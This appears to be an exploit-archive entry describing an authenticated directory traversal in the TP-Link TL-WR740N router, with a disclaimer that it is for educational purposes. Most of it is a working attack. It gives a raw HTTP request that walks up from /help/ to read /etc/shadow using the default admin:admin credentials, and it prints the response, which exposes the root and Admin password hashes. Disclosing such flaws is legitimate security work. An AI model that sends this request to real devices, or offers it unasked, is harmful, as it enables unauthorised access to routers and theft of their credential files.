Tplink tlwr740n authenticated directory transversal Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-07-19 | Type : webapps | Platform : hardware
This exploit / vulnerability Tplink tlwr740n authenticated directory transversal is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: TP-Link TL-WR740N - Authenticated Directory Transversal
# Date: 13/7/2023
# Exploit Author: Anish Feroz (Zeroxinn)
# Vendor Homepage: http://www.tp-link.com
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: TP-Link TL-WR740N

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Request
-------

GET /help/../../../etc/shadow HTTP/1.1
Host: 192.168.0.1:8082
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response
--------

HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N"
Content-Type: text/html

<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WR740N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"></SCRIPT>
root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
bin::10933:0:99999:7:::
daemon::10933:0:99999:7:::
adm::10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:99999:7:::